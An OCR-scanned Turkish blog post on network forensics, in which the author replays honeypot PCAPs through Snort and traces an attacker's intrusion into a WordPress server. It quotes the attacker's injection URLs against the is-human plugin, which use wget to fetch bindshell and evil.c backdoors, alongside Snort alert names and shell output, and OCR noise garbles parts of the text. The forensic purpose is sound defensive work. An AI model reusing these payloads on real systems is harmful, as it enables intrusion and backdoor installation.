Ag Trafiginde Adli
Bilisim Analizi

written by Mert SARICA | 18 March 2012

Network Forensics, Tirkce meali ile bilgisayar aglarinda adli bilisim, temel
olarak ag trafiginin analiz edilmesine dayanmaktadir. Post-mortem (olay/vaka
sonrasl) gerceklestirilebilmesi nedeniyle analiz ic¢in ates duvari (firewall),
saldiri tespit/engelleme sistemi (ids/ips), bal kipi (honeypot) vb. ag trafik
kaydi tutan cihazlarin ve sistemlerin kayitlarina ihtiya¢ duyulmaktadair.
Kayitlarin analizi icin Snort, ngrep, tcpdump, NetworkMiner, Wireshark,
tcpxtract, Netwitness Investigator, Xplico vb. cesitli yazilimlardan
faydalanilmaktadair.

Bilgi Glivenligi AKADEMISI, Subat ayinda tamami internet lzerindeki bal kiipii
(honeypot) / CTF sistemlerinden elde edilmis ~20 GB’l1ik(5 DVD) trafik
dosyalarini konuya merakli sektdor calisanlariyla paylasma karari aldi. Ben de
bahsi gecen meraklilardan biri olarak Omer ALBAYRAK’dan temin ettigim
DVDler’'de yer alan dosyalara kisaca g0z atmaya ve basarili olan sizma
girisimlerinden birini (geri kalanlarini meraklilara birakiyorum) tespit
etmeye karar verdim.

Her biri yaklasik 1 GB olan 20 tane PCAP dosyasinda, basarili olan sizma
girisimlerini aramanin samanlikta igne aramaktan farkli olmayacagini
diusunerek daha akilci bir yol izleyerek elimdeki tim PCAP dosyalarini Snort
saldiri tespit sistemine yonlendirmenin islerimi kolaylastiracagi disiincesi
ile sanal makineye uUzerinde Snort, nmap, Nessus ve bircok acik kaynak kodlu
ag guvenligi uygulamalarini barindiran Network Security Toolkit (NST) isletim

sistemini kurdum.

Normal sartlarda elimde boyut olarak ufak ve sayica az PCAP dosyalari olmus
olsaydi, Backtrack 5 R2 isletim sistemi lzerinde yer alan Wireshark, tcpdump
ve ngrep gibi araclar ile analizi rahatlikla gerceklestirebilirdim.

NST isletim sistemini sanal makineye kurduktan ve Snort servisini
calistirdiktan sonra sira 20 adet PCAP dosyasini bu sisteme gdnderecek
(packet replay) araci bulmaya ve kullanmaya gelmisti. Bunun ic¢in daha dnce
bircok testte kullanmis oldugum Colasoft’un Packet Player aracini kullanmaya

karar verdim. NST otomatik olarak ag bagdastiricilarini (network adapters)
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promiscuous kipte (mode) baslattigi icin paketleri bu ara¢ ile Snort kurulu
NST sistemine gdndermeye basladim.

¥~ Colasoft Packet Player x|

—Select
Adapter: I ER YMware Virtual Ethernet Adapter j |
Packet File: E:\CTFZ_part.pcap ;I
4] _>I_I
—Options

[~ Burst Mode (no delay between packets)
[T Loop Sending: 1 _I loops (zero for infinite loop)
Delay Between Loops: | 1000 _I milliseconds

¥ 1gnore any file error

—Sending Information
Current File:

Packets Sent: 0
Stahus: Flease select a adapter and a packet file, Click Play button to start.

Progress: |
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4 saatten fazla siren paket gonderim islemi tamamlandiktan sonra Snort

tarafindan Uretilen alarmlar analiz edilmeye hazir hale geldi.
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Saldirganlar ve saldiriya ugrayan sistemler hakkinda en ufak bir fikrim
olmadigi icin en cok tekil alarm ilreten hedef ve kaynak ip adresleri lizerine
yogunlastigimda hedef olarak bir ip adresi (potansiyel sunucu), kaynak olarak
ise bir ka¢ ip adresi (potansiyel saldirganlar) ortaya c¢iktzi.
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Queried on - Sat March 17, 2012 14:55:36
Meta Criteria any
IP Criteria any
Layer 4 Criteria  none
Payload Criteria  any
Displaying alerts 1-46 of 46 total
Sensor # < Total # = < Unique Alerts > < Dest. Addr. =
o il 2268 198 1
O 1 1284 7 1 e
] 95.9.71.218 1 19 & 1
] 88.226.57.69 1 59 5 1
' 5.5.5.1 1 6452 4 1
[m] 94.123.211.146 1 74 4 1
' 192.168.2.3 1 5 3 1
[m] 192.168.12.12 1 14533 3 1
] 255.255.255.255 1 4456 2 1
] 192.168.18.174 1 T 2 1
] 192.168.18.1 1 4 2 1
O 192.168.18.134 1 4 2 1
' 178.233.236.209 1 2 2 1
O 239.255.255.250 1 28822 2 1
u 88.230.107.17 1 3 1 1
O 192.168.18.173 1 1 1 1
u 188.38.184.109 il 1 1 1
O 192.168.18.142 1 32 1 1
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Added 3 alert(s) to the Alert cache
Queried on : Sat March 17, 2012 14:52:51

Meta Criteria any
IP Criteria any
Layer 4 Criteria  none
Payload Criteria  any

Displaying alerts 1-48 of 120 total
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#6.(1.24521)
#71.24501)
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ngrep aracl ile Snort
adreslerini her bir PCAP dosyasinda ayri ayri aramamak adina diger bir sanal
makinede kurulu olan Backtrack 5 R2 isletim sistemi lUzerinde Wireshark araci

< Signature >
[bugtraq] [snort] WEB-ATTACKS wget command attempt
[bugtraq] [snort] WEB-ATTACKS wget command attempt
[snort] WEB-MISC 15%20-1
[snort] WEB-MISC 1s%20-I
[snort] WEB-MISC 15%20-1
[snort] WEB-MISC 1s%20-I
[snort] WEB-MISC 1s%20-|
[snort] WEB-ATTACKS perl execution attempt
[bugtraq] [snort] WEB-ATTACKS wget command attempt
[snort] WEB-ATTACKS perl execution attempt
[snort] WEB-MISC 1s%20-I
[snort] WEB-MISC 15%20-I
[cve] [icat] [bugtraq] [snort] WEB-MISC cat%20 access
[snort] WEB-MISC cross site scripting attempt
[nessus] [snort] WEB-PHP test.php access
[cve] [icat] [bugtraq] [arachNIDS] [snort] WEB-CGI yabb access
[snort] WEB-PHP remote include path
[nessus] [snort] WEB-PHP shoutbox php access
[nessus] [snort] WEB-PHP shoutbox php access
[snort] WEB-PHP remote include path
[snort] WEB-PHP remate include path
[cve] [icat] [bugtraq] [snort] WEB-PHP PHPLIB remote command attempt
[cve] [icat] [bugtraq] [bugtraq] [bugtraq] [snort] WEB-PHP admin_php access
[cve] [icat] [bugtraq] [snort] WEB-MISC global.inc access
[cve] [icat] [bugtraq] [snort] WEB-MISC global.inc access
[snort] WEB-PHP remate include path
[snort] WEB-PHP remote include path
[snort] WEB-PHP remate include path
[snort] WEB-PHP remote include path
[snort] WEB-PHP remote include path
[snort] WEB-PHP remote include path
[snort] WEB-PHP remote include path

< Timestamp >
2012-03-04 16:13:09
2012-03-04 16:12:49
2012-03-04 16:12:21
2012-03-04 16:12:17
2012-03-04 16:12:17
2012-03-04 16:12:17
2012-03-04 16:12:17
2012-03-04 16:12:09
2012-03-04 16:10:44
2012-03-04 16:10:42
2012-03-04 16:10:40
2012-03-04 16:10:40
2012-03-04 16:10:38
2012-03-04 16:10:38
2012-03-04 16:10:38
2012-03-04 16:10:36
2012-03-04 16:10:36
2012-03-04 16:10:33
2012-03-04 16:10:33
2012-03-04 16:10:33
2012-03-04 16:10:33
2012-03-04 16:10:33
2012-03-04 16:10:31
2012-03-04 16:10:31
2012-03-04 16:10:31
2012-03-04 16:10:30
2012-03-04 16:10:30
2012-03-04 16:10:30
2012-03-04 16:10:30
2012-03-04 16:10:30
2012-03-04 16:10:30
2012-03-04 16:10:30

= Source Address >
195.174.37.105:47901
195.174.37.105:51222
195.174.37.105:34560
195.174.37.105:45734
195.174.37.105:45737
195.174.37.105:45736
195.174.37.105:45735
195.174.37.105:45731
195.174.37.105:32882
195.174.37.105:42043
195.174.37.105:41980
195.174.37.105:41978
195.174.37.105:41880
195.174.37.105:41890
195.174.37.105:41883
195.174.37.105:33753
195.174.37.105:33735
195.174.37.105:46949
195.174.37.105:46950
195.174.37.105:33421
195.174.37.105:33443
195.174.37.105:33454
195.174.37.105:46798
195.174.37.105:46796
195.174.37.105:46795
195.174.37.105:46635
195.174.37.105:46641
195.174.37.105:46644
195.174.37.105:46645
195.174.37.105:46647
195.174.37.105:46658
195.174.37.105:46715

< Dest. Address >
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80
95.173.186.116:80

tUzerinde tespit edilen potansiyel saldirgan ip

< Layer 4 Proto >
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
ce
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
113
TCP
TCP
TCP
TCP
TCP
TCP
TCP

ile birlikte gelen mergecap araci ile hepsini tek bir dosyaya cevirdim.

B
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# 1= -al

total 17701583
root root 8192 2012-03-13

root root 4096 2012-03-13 3

root root 1000000054 Z01Z2-02-12 g CTF11_part.pcap

root root 1000000059 Z012-02-12 : CTF11_part.pcapl

root root 1000000059 Z012-02-12 E CTF11_part.pcap2

root root 1000000034 Z201Z2-02-12 2 CTF11_part.pcap3

root root 1000000026 Z012-02-12 g CTF11_part.pcapd

root root 1000000057 Z012-02-12 E CTF11_part.pcapS

root root 323679033 2012-02-12 B CTF11_part.pcapb

root root 1900000021 Z01Z2-02-12 B CTFZ_part.pcap

root root 423064127 2012-02-12 3 CTFZ_part.pcapl

root root 1000001022 Z2012-02-12 : CTF4_part .pcap

root root 1000005203 201Z2-02-12 2 CTF4_part .pcapl

root root 1000003910 Z012-0Z2-12 7 CTF4_part.pcapZ

root root 1000001765 Z012-02-12 g CTF4_part.pcap3

root root 1000018494 2012-02-12 2 CTF4_part .pcapd

root root 1000000223 2012-02-12 2 CTF4_part .pcap5

root root 1000000043 Z012-02-12 3 CTF4_part .pcapb

root root 1000000002 Z012-02-12 = CTF4_part .pcap?

root root 241031252 2012-02-12 5 CTF4_part .pcapd

root root 1000000062 Z01Z2-0Z-12 " CTFS5_part.pcap

root root 238570810 Z2012-02-12 i CTFS_part .pcapl

: #t mergecap CTF .pcap CTF11_part.pcap CTF11_part.pcapl CTF11_part.pcap2
CTF11_part.pcap3 CTF11_part.pcapd CTF11_part.pcapS CTF11_part.pcapb CTFZ_part.pcap CTFZ_part.pcapl CTF4_par
t.pcap CTF4_part.pcapl CTF4_part.pcapZ CTF4_part.pcap3 CTF4_part.pcapd CTF4_part.pcapS CTF4_part.pcapb CTF4
_part _pcap? CIF4_part.pcap8 CTFS5_part.pcap CTFS5_part.pcapl

—IrWXTWXT WX
ke aglhaglhy
—IrWXTWXT WX
WU WX
WU WX
—WX WX WX
—IWXTWXT WX
WU WX
=W WX
“IrWXTWXT WX
WU WX
WX WX WX
| —TWXT WX WX
WX WX WX
WU WX
—TrWXIWXT WX
—IWXWXT WX
—IWXTWXT WX
WU WX
WU WX
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Ardindan tespit edilen potansiyel saldirgan ip adresleri arasinda en ¢ok
tekil alarm Ureten ip adresini (195.174.37.105) ngrep ile CTF.pcap dosyasinda
yer alan TCP paketlerinde (UDP paketlerini godz ardi ettim) aratarak sizma
girisimi hakkinda detayli bilgi edinmeye basladim.

95.173.186.116 (saldiriya ugrayan sunucu):

e Isletim sistemi Cent0S
e Uzerinde Apache 2.2.3 ve PHP v5.1.6 ve WordPress bulunuyor.
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[= 195.174.37.105.0d |
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S  Date:

ceept—Ch
eep-Alive: 115.

7 Conne

input: CTF.peap i’
z filter: (ip or ipé) and ( host 195.174.37.105 )

3
4 T 2011/05/29 08:18:51.160896 195.174.37.105:54829 -> 95.173.186.116:80 [AP]
5 GET / HTTP/1.1._

& Host:
ser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1.
cept: text/huml,

95173 186_116.

ication/xhtml+xml, application/xml; q=0.9,*/*;q=0.8_

17 T 2011/05/29 08:18:51.162939 55.173_186_116:80 —-> 135174 _37.105:54823 [AP]
18 HTTB/1.1 200 OK_

Sun, 2% May 2011 12:18:51 GMT.

z0 Server: Apache/Z_2.3 (CentOS).
1  K-Powered-By: PHP/5.1.6.

22 Content-Length: 0.

23 Conne
24 Content-Type: text/html; charses=UTF-8.

ction: close.

2 T 2011/05/29% 08:18:51.251330 135.174.37.105:54830 -> 95.173.186_116:80 [AP]
25 GET /favicon.ieo HTTB/1.1.

0 Host:
ser-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1.
ccept: image/png, image/*;q=0.8,*/*;q=0.5.

95.173.186.116.

ceept-Language: en-us,en;g=0.5.
ceept-Encoding: gzip, deflate.

arset: ISO-8859-1,utf-8;q=0.7,%;q=0.7.

ction: keep-alive.

Mormal text file

length : 14859131 lines: 434577  |n:20 Col:1 Sel:55 UNIX ANST s

195.174.37.105 (potansiyel saldirganlardan biri):

Il1k olarak 29.05.2011 tarihinde saat 08:18’de sunucu ile baglanti
kuruyor.

I1k olarak 29.05.2011 tarihinde saat 08:29’da sunucuyu Nikto v2.1.4 ile
tariyor.

29.05.2012 tarihinde saat 20:44'de WordPress’'in is-human eklentisinde
bulunan zafiyeti istismar ederek sistem Ulzerinde uzaktan komutlar
calistiriyor.

29.05.2012 tarihinde saat 21:33'de wget araci ile Packetstorm sitesinden
60000. baglanti noktasinda (port) dinleyen bindshell-unix arka kapisi
indiriyor ancak arka kapiya baglandiktan sonra komut sonrasina noktali
virgul koymadigi icin (ls -al;) arka kapinin c¢alismadigini saniyor. (
/wp-content/plugins/is-human/engine.php?action=10g-

reset&type=ih options();eval(stripslashes($ GET[al));
error&a=echo%20%22%3Cpre%s3E%22; system(%27cd%s20/tmp;wgets%s2
Ohttp://dl.packetstormsecurity.net/groups/synnergy/bindshell-unix%20xxx.
pl%27); )

Bu defa 29.05.2012 tarihinde saat 21:47’'de wget araci ile V*****g jsimli
bir siteden 16667 numarali baglanti noktasinda (port) dinleyen evil.c
arka kapisini indiriyor, derliyor, calistiriyor ve sisteme baglaniyor.

( /wp-content/plugins/is-human/engine.php?action=1log-

reset&type=ih options();eval(stripslashes($ GET[a]));error&
a=ech0%20%22%3Cpre%s3E%22; system(%27cd%s20/tmp;wgets20http://www.v¥****g ¢


http://www.exploit-db.com/exploits/17299/
http://dl.packetstormsecurity.net/groups/synnergy/bindshell-unix

om/evil.c.txt%20-0%20evil.c%27); )
e Daha sonra cesitli yetki yukseltmeye yarayan cekirdek istismar
araclarini denese de root yetkisine sahip olamiyor ve kayit sonlaniyor.
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[= 195.174.37.1050¢ |
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T 2011/05/2% 08:25:34.93240% 95.173.186.116:80 —-> 195.174 37.105:55388 [AP]
HITE/1.1 404 Not Found.

Date: Sun, 29 May 2011 12:29:34 GMT.

Server: Apache/2.Z.3 (CentOS).

Content-Length: 313.

Connection: close.

Content-Type: text/html; charset=iso-8853-1.

<!DOCTYPE HIML PUBLIC "-//IETF//DID ETML Z.0//EN">

<htmlr<head>

<title»404 Not Found</title>

</head><body>

<hl>Not Found</hl>

<p>The requested URL /24kysRxV.thtml was not found on this server.</p>
<hr>

<address>Apache/Z.2.3 (CentOS) Server at serverllé.ntl4Z.datacenter.ni.net.tr Port 80</address>
</body></html>

T 2011/05/2% 08:23:35.004047 135.174_37_105:55289 -» 95.173.186.116:80 [AP]
GET /24kysRxV.pt HTTB/1.1.

Connection: Keep-Alive.

User-Agent: Mozills/4.75 |(Nikto/2.1.4) (Evasions:None) (Test:map_codes).
Host: serverllé.ntl4Z.datacenter.ni.net.tr.

T 2011/05/29 08:29:35.004266 95.173.186.116:80 —> 195.174.37.105:55289 [AP]
HTTP/1.1 404 Not Found.

Date: Sun, 29 May 2011 12:23:35 GMT.

Server: Rpache/Z. 2.3 (CentOS).

Content-Length: 310

Connection: close.

Content-Type: text/html; charset=iso-8853-1.

<IDOCTYPE HIML PUBLIC "-//IETF//DTD HIML Z.0//EN">

Liv|

<html><hesd> _'LI
| »

Mormal text file length : 19859131 lines: 434577  [n:542 Col:39 Sel: 13 UNIX ANST s
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[= 195.174.37.105.6¢ |

N NORCRDREN =R

-

T 2011/05/29 22:29:30.272265 95.173.186.116:16666 —» 195.174_37_105:34483 [AP]

o

.Bind Banckdoor by Simpp

-

-For : # Bad Digites Team $

oo

Passwd :

o

T 2011/05/2% 22:29:37_19201% 195.174_37_105:48577 -» 55173 186 116:16667 [AD]
13 -la

R R

T 2011/05/29 22:29:37.198224 95.173.186.116:16667 —> 195.174.37.105:48977 [A]

4 total 428

4 drwxrwxrwt 5 root root 4098 May 30 05:29 .

4 drwsr-xr-x 25 root root 4096 May 28 16:02 ..

4 drwRrwRIwE root  root 4096 May 28 16:02 .ICE-unix

-
£

apache apache 308 May
apache apache 306 May
apache apache 306 May

23:09 _NJ_4de004e432al7
23:10 _NJ_4de0d05396d0ea
33:12 _NJ_4de005bd762b0

-
a

A

4 apache apache 306 May Z8 01:51 _NJ_4de0Zada3afdc
4 apache apache 4665 May 28 04:04 .NJ_4de04azdSSece
4 apache zpache 0 May 28 04:05 .NJ_4de04a6379333
4 apache zpache 46885 May 28 04:06 .NJ 4de042a8096df
4 apache apache 306 May 28 04:30 .NJ 4de0SO0187Z4f£1
4 apache apache 306 May 28 14:46 .NJ 4de0e0af03%8cd
4 apache apache 308 May 16:05 .NJ_4de0£308751£f

-
w

apache apache 308 May
apache apache 306 May
apache apache 4465 May

16:08 _NJ_4de0f3b4Zbed?
16:12 _NJ_4de0fad0llfab
17:04 _NJ_4delO0e0BZeda

-
o

-
o

4 apache apache 453 May 28 17:05 _NJ_4del0lz83eedS
4 apache apache 306 May 28 17:07 .NJ_4del0lb6dd3ss
4 apache apache 306 May 28 17:11 .NJ_4del0Z85085a5

-
o

apache zpache 308 May 17:11 .NJ_4del0za97288d
17:14 .NJ_4del0337a3867
17:23 .NJ_4del0557afbb$
17:24 .NJ_4del058b07bEE
17:25 _NJ_4del05ead5763
17:43 _NJ_4delOaZel7?54f

-
o

spache spache 306 May

-
W

spache apache 306 May

-

-

W

apache apache 306 May

-
w

apache apache 306 May
apache apache 306 May
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Normal text file length : 19842724 lines: 434150 [Ln: 426694 Col: 1 Sel:0 Junizx ANST s

Sonug¢ itibariyle ag trafik kayitlarini analiz ederek basarili bir sizmanin
nasil gerceklestirildigi konusunda cok detayli bilgiler elde edebilirsiniz.
Umaraim merakli arkadaslar icin gerceklestirmis oldugum bu analiz faydali
olmustur. Pratik yapmak isteyenlerin BGA’dan bu DVDler'’'i lcretsiz olarak

temin etmelerini siddetle tavsiye ederim. (Sinirli sayida bulunan DVD'ler



tikenmistir. Kayit dosyalarini edinmek isteyenler BGA Istanbul ofisine
giderek DVD cekimi yapabilirler.)

Bir sonraki yazida goOrismek dilegiyle herkese givenli ginler dilerim.



